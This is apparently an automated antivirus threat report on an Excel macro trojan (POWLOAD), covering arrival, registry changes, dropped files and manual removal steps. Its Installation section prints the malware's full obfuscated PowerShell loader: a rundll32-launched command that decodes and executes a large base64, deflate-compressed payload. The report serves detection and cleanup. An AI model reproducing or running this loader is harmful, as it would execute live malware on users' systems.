Trojan.X97M.POWLOAD.USMANFOGDI
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
77,824 bytes
XLS
Yes
30 Apr 2020
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- rundll32 -s shell32.dll , ,ShellExec_RunDLL "pOwErSHElL" "&('n'+'al') ('l'+'ss') ('Ne'+'w-Obje'+'ct') -F;&('na'+'l') ('ls'+'a') ('ie'+'x') -F;&('ls'+'a')( .('ls'+'s') ('I'+'o.sTREa'+'Mre'+'ader')(( &('l'+'ss') ('iO'+'.compr'+'essiOn.'+'DEf'+'L'+'A'+'TeS'+'TR'+'EAm')([syStEm.io.memOrystreAM] [coNvert]::FRomBAse64strINg('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'),[sYstEm.io.cOmpREssiON.coMprESsionmode]::decOmprESs )) ,[TexT.ENcoDIng]::utf8) ).ReAdtoenD( );;.('l'+'sa') (.('l'+'ss') ('IO.'+'stream'+'R'+'eader')(.('l'+'ss') ('IO'+'.'+'Compress'+'ion.GZi'+'pStrea'+'m')((.('l'+'ss') ('IO.M'+'emoryStre'+'a'+'m') -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"
Other System Modifications
This Trojan adds the following registry entries:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""
Dropping Routine
This Trojan drops the following files:
- %User Temp%\14530387.od
- %AppDataLocal%\GDIPFONTCACHEV1.DAT
- {malware file path and name}
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
This report is generated via an automated analysis system.
SOLUTION
9.850
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as Trojan.X97M.POWLOAD.USMANFOGDI
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
- (Default) = ""
Step 4
Search and delete these components
- %User Temp%\14530387.od
- %AppDataLocal%\GDIPFONTCACHEV1.DAT
- {malware file path and name}
Step 5
Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.USMANFOGDI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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